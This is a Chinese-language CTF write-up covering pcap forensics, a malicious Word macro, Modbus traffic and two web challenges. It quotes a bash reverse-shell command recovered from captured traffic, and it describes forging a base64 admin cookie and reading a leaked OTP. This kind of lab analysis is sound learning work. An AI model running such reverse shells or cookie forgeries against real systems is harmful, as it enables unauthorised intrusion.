LOADING

伺服器加載中 請稍後...

InfoSec Taiwan CTF 2025 Write-up

2025/8/15 CTF

Team:P@assw0rd!

yiwen1825 [captain]
xiaobai0426 [member] <– Me
kkoebi [member]

Forensics

Bit By Bit

Ans:HTB{b1tbuck3t5_publ1c_r3p0s_g0_brrr!!}

image


  1. 解壓縮該檔案後,發現是個pcap檔,使用Wireshark打開後,先檢查Protocol Hierarchy,發現流量多為HTTP
    image

  2. 過濾出HTTP的封包後,發現只有7個封包,先打開最底下的封包看看?
    image

  3. 發現這是個Command Injection的封包,從GET的URL可以得知這一訊息,確定了這是攻擊者的封包後,那就可以去找攻擊後進入系統後所輸入的指令(從注入的命令可以知道這是個reverse shell)

Command:
bash -i -p >& /dev/tcp/172.17.0.1/5912 0>&1

image

  1. 可以試著往後翻看看stream(正常來講是去定位Command的IP位置跟Port,不過這題的封包數量很少,所以就用這招試看看能不能找到攻擊者遠端執行的Command)

  2. 發現在stream 4確實有Reverse shell留下的痕跡
    image

  3. 接著往後看看攻擊者有沒有留下什麼資訊(像是主辦方放的Flag XD),在最底下找到了echo base64的指令,並存在了support.desktop中,將這段base64的訊息解密後即可獲得flag
    image
    image
    再將Comment進行二次decode(base64)
    image

The Wire

Ans:HTB{I_g0t_th3_w1r3_4nd_y0u_g0t_th3_fl@g!!_98351ca6b8e61a1003c5114eb178a71a}

image


  1. 這題解壓縮後看到了pcapng檔,不過先把題目附的docker啟動,我們要解開docker附的12個有關這個封包的題目才可以取得flag(按照題目敘述)

啟動後如下:
image

  1. Ok.. 所以我們就依照他給的題目慢慢回答吧,第一題是封包檔紀錄的總封包數量
    Wireshark的右下角就會統整好了
    螢幕擷取畫面 2025-07-09 223118

  2. 接著是第二題,第一個封包的Timestamp為多少(In seconds),所以我們要把第一個封包的時間轉成UTC下的second,
    可以從View -> Time Display Format -> Second Since 1970-01-01更改,最後再把第一個封包的Timestamp時間輸入上去就Correct了(後面的小數點可以不用打)
    image
    image

  3. 到了第三題,要篩選出從192.168.1.103到151.101.129.140的流量,並記錄封包數量
    那就直接Fliter出來,然後從Wireshark的右下角就能看到Display的數量了

Fliter:
ip.src == 192.168.1.103 && ip.dst == 151.101.129.140

image
image

  1. 很快到了第四題,我們要計算從192.168.1.108到116.203.58.90的Bytes,一樣用剛剛的Fliter,只是改一下IP位置,
    過濾出來後就直接打開Conversation,接著看兩個IP之間的Bytes即為答案
Fliter:
ip.src == 192.168.1.108 && ip.dst == 116.203.58.90

image
image

  1. 接著是第五題,這題要篩出所有封包長度為121 bytes的封包數量,一樣直接用Fliter就能搞定
Fliter:
frame.len == 121

image
image

  1. 第六題,要篩出所有來源和目的為151.101.129.140,直接Fliter ip.addr就可以了
Fliter:
ip.addr == 151.101.129.140

image
image

  1. 然後是第七題,直接篩TCP就可以獲得答案
Fliter:
tcp

image
image

  1. 來到第八題,這題要到封包#374,並找到Destination的MAC Address,直接在Wireshark Ctrl + G到374後,在Ethernet II介面中,後面的dst就有包含MAC Address了
    image
    image

  2. 第九題中,要取得IP 192.168.1.103的MAC Address,所以把所有IP為192.168.1.103的封包Fliter出來後,
    一樣找到Ethernet的位置就能取得答案了(記得看清楚是src還是dst)

Fliter:
ip.addr == 192.168.1.103

image
image

  1. 接著到第十題,會需要過濾出HTTP GET的封包之外,還需要找到success.txt,所以可以寫這樣一個Fliter,接著右鍵點擊其中一個封包後,
    Follow到HTTP Stream,找到HOST的Header,將他的Value輸上去就可以進到下一題
Fliter:
http.request.method == "GET" and http.request.uri contains "success.txt"

image
image

  1. 到了第十一題,一樣Ctrl+G到11492,要注意的是滑鼠要點擊IPv4的介面(左下角),右下角的Hex視窗就會反白出來,把前4個Bytes輸上去就能獲得答案
    image
    image

:::info
為什麼要點擊IPv4呢?因為題目提到了OSI第三層,也就是所謂的網路層,這跟IP、ARP這些Protocol有關,所以找到這個也就可以找出網路層的Bytes
:::

  1. 終於來到最後一題了= =,這一題只是要取得Seq跟Ack的Value,所以一樣直接Ctrl+G到18632,在TCP的介面中就寫得一清二楚了
    image
    image

  2. 全部12題回答正確後,就能取得本題的Flag了OuO
    image

First Attempt

Ans:HTB{L3ts_k33p_1t_s1mpl3_4nd_st34lthy}
image


  1. 解壓縮後可以得到一個key.docm,由於看到docm,所以就能知道這是個Word的巨集檔,所以用oletools來分析

  2. 使用olevba來解,執行後可以看到一整個巨集的指令,以及該工具自行分析出惡意的結果在中間部分可以看到有個function,會去執行powershell的Command,
    在中間也有加密的痕跡,而細看後就會看到有一個定義flag的字串,只不過也經過了加密(不過沒很難),就按照他的方式倒轉回來就能取得Flag了
    image

:::info
$flag=’HTB{“ & Chr(Asc(“L”)) & “3ts” & Chr(95) & “k33” & Chr(112) & “1t“ & StrReverse (“3lpm1s”) & “_4nd” & “_st34lthy}’

==(當中的Chr跟StrReverse應該都不需要解釋..ww,有點太基礎)==

To

HTB{L3ts_k33p_1t_s1mpl3_4nd_st34lthy}
:::

ICS

Network

Ans:HTB{MOd8u5_23rO_3CnRYpYp7IoNT@x30}

image


  1. 解壓縮後發現又是封包XD,一樣先檢查Protocol,發現是ModBus/TCP,這樣的話就可以直接Follow了(因為封包數量少的可憐 才78),發現是看不懂的東西
    image

  2. 那就試著轉成Hex?因為Modbus主要用於IIOT跟ICS,而ModBus的暫存器主要是以16位元來進行讀寫,所以翻成Hex搞不好能看到一些通訊交換的Data,
    果不其然在底下發現了HTB開頭的文字,將所有字都翻出來就能找到Flag了
    image

Web

MFlow

Ans:HTB{s3ss10n_int3gritY_1s_n0t_t0_b3_m3ss3d_w1th_15fbfac10639338fc9800791c575c894}

image


  1. 先打開Docker後,附了IP位置跟Port,連接過去後,會進到一個register的頁面,先隨便輸個帳號密碼進去看看系統長什麼樣

  2. 看起來是個銷售網站?而在Welcome Back底下中寫著要成為admin才能看到Flag,所以方向已經很明顯了,先看看Cookie能不能更改
    image

  3. 發現有兩個Cookie,一個是Session,一個是Auth,先看看Auth,看起來是使用base64加密的,先試著decode看看
    image

  4. 發現有個用於判斷admin的值,那把is_admin從false修改成true,是不是就有辦法成為admin呢?將修改完的base64丟回Auth,
    並重新整理(F5),會發現真的變成了Admin,Flag也就出來了
    image

Paradise Vault

Ans:HTB{l34k1ng_0Tp_1nt0_Cl13n7s1d3_1s_b4d_8b6c48a05e3f722a809d4091bd6da3a0}

image


  1. 一樣打開docker,然後一樣給了IP位置,連過去發現是個登入頁面,這邊真的就是通靈了,我那時候覺得跟AIS3 Pre-Exam的某一題很像,
    所以我就試了admin跟admin,就跳到OTP驗證了(還真的跟AIS3差不多 笑死)
    image

  2. 接著打開Network看後,發現每當我們進入到OTP這個頁面後,伺服器會自動Request一個OTP,而裡面就寫著驗證碼,嘗試輸入看看?
    image

  3. 然後flag就出來了
    image

After all

這次比賽藍隊方面基本上都是水題,rev跟pwn比較沒在接觸所以交給了兩名隊友
感謝兩位大佬的幫忙QQ,希望下次能得到更好的名次